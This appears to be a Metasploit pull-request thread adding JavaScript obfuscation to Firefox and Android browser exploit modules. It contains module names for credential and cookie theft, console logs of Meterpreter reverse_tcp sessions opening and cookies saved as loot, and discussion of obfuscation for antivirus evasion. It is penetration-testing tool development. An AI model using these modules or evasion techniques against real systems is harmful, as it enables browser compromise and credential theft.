Add the JSObfu mixin to Firefox exploits

[jvennix-r7]

Verification

• Get a shell from any of the following Firefox exploits, making sure to set JsObfuscate 1:

  exploit/multi/browser/firefox_proto_crmfrequest
  exploit/multi/browser/firefox_tostring_console_injection
  exploit/multi/browser/firefox_webidl_injection

• Run the post modules following on the session, making sure to set JsObfuscate 1.

  post/firefox/gather/cookies
  post/firefox/gather/passwords
  post/firefox/gather/history
  post/firefox/gather/xss
  

• specs pass

[wchen-r7]

cc @todb-r7 so he's aware of this PR makes changes to the android module.

[wchen-r7]

There is something wrong w/ the post/firefox/gather/cookies module when obfuscation is used:

msf post(cookies) > set JsObfuscate 1
JsObfuscate => 1
msf post(cookies) > run

[*] Running the privileged javascript...
[!] i is not defined
[*] Post module execution completed
msf post(cookies) > set JsObfuscate 0
JsObfuscate => 0
msf post(cookies) > run

[*] Running the privileged javascript...
[+] Saved 24 cookies to /.msf4/loot/20140922113049_default_192.168.1.64_firefox.cookies._276175.txt
[*] Post module execution completed
msf post(cookies) >

[wchen-r7]

It looks like the new changes aren't very friendly for webview_addjavascriptinterface, either. It seems to hang forever:

msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/test4
[*]  Local IP: http://192.168.1.64:8080/test4
[*] Server started.
[*] 192.168.1.83     webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.83     webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.1.83     webview_addjavascriptinterface - Serving armle exploit...

The one in master still works fine:

msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/test
[*]  Local IP: http://192.168.1.64:8080/test
[*] Server started.
[*] 192.168.1.83     webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.83     webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.1.83     webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (43586 bytes) to 192.168.1.83
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.83:57390) at 2014-09-22 14:00:30 -0500

[wchen-r7]

All the Firefox exploits work with JsObfuscate, except for post/firefox/gather/cookies and exploit/android/browser/webview_addjavascriptinterface

[jvennix-r7]

@wchen-r7 okay thanks for writing these up, I will take a look at these this evening.

[wchen-r7]

ok

[jvennix-r7]

Didn't have time last night, but I'll get back around to this today before EOB sometime.

[wchen-r7]

I'll wait.

[jvennix-r7]

Taking another look now.

[jvennix-r7]

Argh, this won't work in firefox/gather/cookies because I am referring to a var outside of my closure, but not in global scope. I'll have to think about how to fix that.

[jvennix-r7]

One way would be to have an option in jsobfu, prevent_rename: ["send"] to prevent specific variables from being obfuscated, in case you are caught in one of these situations.

[jvennix-r7]

A better way is to attach send to this, so that we can randomize everything. However, found a small problem with global resolution... in contexts without window, there's no way to do global lookups. We need a :global option in the jsobfu to support this.

[jvennix-r7]

@wchen-r7 not sure what went wrong with the Android exploit. Make sure to set LHOST correctly, I was missing this at first and had it at 0.0.0.0, which doesnt work with the emulator.

(edit: oh nvm, I see you have it set correctly up there. hrm. i ran it 4 times in a row and it seemed to work. maybe it was fixed as a side effect of the global-rewriting stuff i put in jsobfu 0.2.0.)

[jvennix-r7]

Okay, this is reviewable again.

[wchen-r7]

Not sure why everytime I set JsObfuscate 1, I don't get a shell. But when 0, it does:

msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/b3
[*]  Local IP: http://192.168.1.64:8080/b3
[*] Server started.
[*] 192.168.1.83     webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.83     webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.1.83     webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (43586 bytes) to 192.168.1.83
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.83:48493) at 2014-09-24 19:10:42 -0500

msf exploit(webview_addjavascriptinterface) > set

Global
======

No entries in data store.

Module: android/browser/webview_addjavascriptinterface
======================================================

  Name                      Value
  ----                      -----
  AutoLoadAndroid           true
  AutoLoadStdapi            true
  AutoRunScript             
  AutoSystemInfo            true
  CookieName                __ua
  DisablePayloadHandler     false
  EnableContextEncoding     false
  EnableStageEncoding       false
  EnableUnicodeEncoding     true
  HTML::base64              none
  HTML::javascript::escape  0
  HTML::unicode             none
  HTTP::chunked             false
  HTTP::compression         none
  HTTP::header_folding      false
  HTTP::junk_headers        false
  HTTP::server_name         Apache
  InitialAutoRunScript      
  JsObfuscate               0
  LPORT                     4444
  PAYLOAD                   android/meterpreter/reverse_tcp
  Retries                   true
  RetryCount                10
  ReverseAllowProxy         false
  ReverseConnectRetries     5
  ReverseListenerThreaded   false
  SRVHOST                   0.0.0.0
  SRVPORT                   8080
  SSL                       false
  SSLCompression            false
  SSLVersion                SSL3
  TCP::max_send_size        0
  TCP::send_delay           0
  VERBOSE                   false
  lhost                     192.168.1.64
  uripath                   /b3

msf exploit(webview_addjavascriptinterface) > 

[jvennix-r7]

That exploit does have a massive payload string embedded in it, it might just be too much work to interpret. I'll give 4.0.2 a shot in a bit.

[wchen-r7]

I'll let it run for awhile.... with obfuscation.

[wchen-r7]

Almost 30 minutes. Definitely not getting a shell w/ obfuscation on.

[kernelsmith]

What's the browser doing, still "chewing" on the page? When I converted the hieroglyphy js obfu into ruby and started obfuing entire exploits, IE would just sit there. However in that case the overhead in that obfu can be like 4000% so a typical spray could end up being 1-4 megs, and tho I couldn't find a ref, it felt like there was an upper limit to how big the is could get b4 "weird things happen" (tm)

-Josh

On Sep 24, 2014, at 19:39, sinn3r notifications@github.com wrote:

Almost 30 minutes. Definitely not getting a shell w/ obfuscation on.

—
Reply to this email directly or view it on GitHub.

[wchen-r7]

It looks like it's chewing on the page.

@jvennix-r7 says it works for him on a newer android, and takes no longer than 5 seconds. So I dunno.

[jvennix-r7]

@wchen-r7 argh. Okay, well I have to assume something I am doing is screwing up my testing. jsobfu is really really a nice-to-have here, i dont know of any android av that will hook javascript. So I think I will just deregister it here and we can move on with our lives (also related: I really hate debugging android's old stock browser, I just put alert() everywhere like a moron).

[wchen-r7]

heh, ok.

[wchen-r7]

I will come back to this tomorrow.

[wchen-r7]

Congrats. They all work for me now.